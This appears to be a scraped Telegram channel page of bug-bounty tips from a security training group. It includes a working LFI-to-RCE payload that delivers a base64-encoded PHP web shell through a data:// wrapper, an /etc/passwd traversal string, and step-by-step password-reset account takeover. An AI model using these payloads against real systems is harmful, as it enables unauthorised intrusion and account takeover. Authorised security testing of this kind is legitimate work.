Brut Security
15K subscribers
958 photos
76 videos
290 files
1K links
βœ…DM: @wtf_brut
πŸ›ƒWhatsApp: https://wa.link/brutsecurity
🈴Training: https://brutsecurity.com
πŸ“¨Mail: [email protected]
Download Telegram
⚑ Find XSS in One of the Most Commonly Vulnerable Parts of a Website πŸ’₯

You’ve probably seen websites with an AI-powered chatbot feature, right?
Well, this is one of the spots where I often find XSS vulnerabilities with ease.

Try it out β€”
but always remember to use document.domain to verify whether the payload is executing on your in-scope domain or inside an iframe from a different domain. This helps confirm if the XSS is actually exploitable or sandboxed.


Don't forget to react and follow me πŸ‘‰πŸΌ DarkShadow 😁

#xss #Bugbountytips
❀19πŸ—Ώ5πŸ‘3🐳2🀝2
⚑Hello Hunters! Ready to find your first bounty? Try this underrated approach! ✨

Most bug hunters go after common issues like XSS, SQLi, SSRF, CSRF, IDOR, open redirection, CVEs, or use automated scanners. But don't sleep on JavaScript file analysis β€” it's a goldmine for critical bugs.

Automated tools help extract endpoints and sensitive info, but manual JS review reveals the real logic and flow of the app β€” things scanners often miss.

Here are vulnerabilities you can find just by reading JS files:

1. Authentication bypass
2. Sensitive info leaks
3. Hardcoded credentials
4. Config/env file disclosure
5. Hidden login portals
6. JWT secrets & API keys
7. Outdated services loed CVE to exploit
8. Dependency confusion
9. File upload endpoints
10. RFI β†’ RCE
11. Open redirection
12. DOM-based XSS
13. WebSocket endpoints
14. Hidden parameters
15. IDOR


Pro tip:
don’t ignore <script> tags in HTML/PHP files β€” they can might triggered RFI, LFI, and more.

Upcoming posts will reveal step-by-step methodologies for JavaScript file analysis to uncover critical vulnerabilities.
Till then, keep learning, keep exploring.

Follow me πŸ‘‰πŸΌ DarkShadow

#BugBountytips@brutsecurity
❀26πŸ‘9😁3πŸ”₯2🀝2
Brut Security
Launching Soon!
Where is the reactions?
😁23πŸ‘9🀣7πŸ—Ώ4🀨1πŸ‘¨β€πŸ’»1
Approximately 50 people got duplicated to his report and man said noobs 😭😭😭😭
hackerone.com/reports/2014955
🀣21😒4😁1🐳1
⚑ Hardcoded Admin Credentials Found in JavaScript File πŸ”₯

Hey hunters, always remember to gather as many JS files as possible during recon. Parse them for sensitive URLs β€” even if they lead to blank pages or unauthenticated areas, those JS files might be calling others in the background. Intercept everything. You might just uncover hardcoded credentials!

POC – Steps
While reconning a target, I found a user signup page. With Burp proxy running, I grabbed some .js files. Inside one of them, I spotted some Base64-encoded strings. After decoding, I found embedded <script> tags referencing more URLs. One of them redirected me to a blank page.

But after deeper analysis, I discovered an interesting endpoint: admin-user-accounts.json. Shockingly, it revealed hardcoded admin credentials β€” only accessible through specific JS file calls. A critical vulnerability, just hiding in plain sight.



Don't forget to react and follow me πŸ‘‰πŸΌ DarkShadow 😁

#BugBountytips@brutsecurity
πŸ”₯24🫑7❀6πŸ‘4😁2
Screen Recording 2025-04-20 at 7.gif
2.2 MB
If you find a Self-XSS through a POST request, don’t ignore it.
Build a CSRF proof-of-concept using Burp Suite, and just like that β€” it’s no longer just Self-XSS.
BOOM, It becomes a one-click account takeover vulnerability.

Don't forget to follow me DarkShadow

#bugbountytips
πŸ‘¨β€πŸ’»16❀12πŸ‘5πŸ”₯4🐳1
πŸ™‚We are expecting a good reactions!
Let us know if you are guys not satisfied with the contents. Or ask in comments what content you are looking for.πŸ‘€
Please open Telegram to view this post
VIEW IN TELEGRAM
πŸ”₯25πŸ‘4πŸ™2πŸ‘1
πŸ”₯ LFI to RCE via PHP Wrapper (No Log File Needed!) ⚑

Got LFI but no luck with log poisoning or other tricks? Try this killer method using PHP wrappers:

Example vulnerable param:
page=../../../../etc/passwd


Now craft your PHP shell with base64 encoding:
echo '<?php system($_GET["cmd"]); ?>' | base64


You’ll get:
PD9waHAgc3lzdGVtKCRfR0VUW2NtZF0pOyA/Pgo=


URL-encode it:
PD9waHAgc3lzdGVtKCRfR0VUW2NtZF0pOyA%2FPgo%3D


Final payload (using data:// wrapper):
page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUW2NtZF0pOyA%2FPgo%3D&cmd=id


BOOM! Remote Code Execution.πŸ’₯

I also have a wild method to go from LFI to RCE using a leaked phpinfo() page. Want it? Let me know.

Follow for more πŸ‘‰πŸΌ DarkShadow

#BugBountytips@brutsecurity
πŸ”₯29πŸ‘5πŸ—Ώ4❀2πŸ‘¨β€πŸ’»2
🫠
🀣38❀11πŸ‘6😒4πŸ—Ώ4
πŸš€BrutScope Extractor is LIVE on Firefox Add-ons!
Easily extract wildcard and normal domains from any bug bounty scope page with a single click.

πŸ”—Download now: https://addons.mozilla.org/addon/brutscope-extractor

⭐️Don't forget to leave review and share with your friends!

⚑️Built for hunters. Made by Brut Security.

#bugbounty #infosec #firefox #BrutSecurity #recon
Please open Telegram to view this post
VIEW IN TELEGRAM
πŸ”₯16πŸ—Ώ10πŸ‘7❀3🀣1
Brut Security
Hey guys! Let me know what you'd like to see in the next post:
⚑ Business Logic Flow to AUTH BypassπŸ”₯

The logic flaw exists in the password reset functionality, and there are two common ways to exploit itβ€”both follow the same flawed logic path:

1. Reset via OTP (One-Time Password) verification code and set a new password

2. Reset via Email verification link and set a new password


Let’s dive into the OTP flow PoC steps:
1. Entered the legitimate email in β€œForgot Password”
2. Getting a OTP use this OTP to reset password.
3. Intercept the request before submitting the OTP.
4. Change email parameter to Victim email.
5. Forward the request.



NOTE: You can try this same trick for mobile number OTP verification to change the victim’s phone number instead.

If the web application only validates the OTP but doesn’t check which email or number it was originally generated for, then it's logically vulnerable. This could allow you to bypass authentication for any user, including admin accounts.


Now let’s talk about the Email Link Reset Flow:
1. Entered the legitimate email in β€œForgot Password”
2. Getting a verification link to reset password.
3. Verify the reset link and it will be redirect you set new password page.
4. Set a new password and before sending the request intercept in burp.
5. Send request with only changing the legends email to victim email.
6. Forward the request.
Boom β€” same bypass logic applies!



Pro Tip:
Always tamper with parameters during authentication flows. Here are some common spots to test for logic flaws:

Signup / Registration
Reset Password
OTP / 2FA Verification
Change Email / Number
Password Change (while logged in)
Account Linking (OAuth / SSO)


So guys, what do you think about this post?
If you’re enjoying my content and methods, never forget to react and follow me
πŸ‘‰πŸΌ DarkShadow



#BugBountytips@brutsecurity
10😱11🫑10πŸ‘7πŸ‘5❀3🀝1πŸ—Ώ1
CVE-2025-3616: File Upload in Greenshift WordPress Plugin, 8.8 rating❗️

A vulnerability discovered by Wordfence researchers allows attackers to upload arbitrary files and execute them remotely.

Search at Netlas.io:
πŸ‘‰ Link: https://nt.ls/meWm0
πŸ‘‰ Dork: http.body:"plugins/greenshift-animation-and-page-builder-blocks"

Read more: https://www.wordfence.com/blog/2025/04/50000-wordpress-sites-affected-by-arbitrary-file-upload-vulnerability-in-greenshift-wordpress-plugin/
❀5πŸ”₯5
β˜„οΈA compiled list of companies which accept responsible disclosure

⚑️https://t.iss.one/brutsecurity_poc/47
Please open Telegram to view this post
VIEW IN TELEGRAM
❀7🀝2
Hey Hunter's 
Ever seen a Local File Inclusion (LFI) turn into full Remote Code Execution (RCE) using just a phpinfo() page?

Sounds crazy, right? But trust me, it's one of the coolest and mind-blowing tricks you'll ever see in web exploitation!

If you're truly curious and want to witness the full step-by-step Proof of Concept (PoC) tested on a live website.
I'll walk you through every detail β€” no gatekeeping, just pure hacker knowledge.
This method will seriously change how you think about LFI vulnerabilities!

Show some loveβ€”React, comment, and follow meπŸ‘‰πŸΌ DarkShadow
#POC@brutsecurity
❀27πŸ”₯14πŸ‘7πŸ‘¨β€πŸ’»1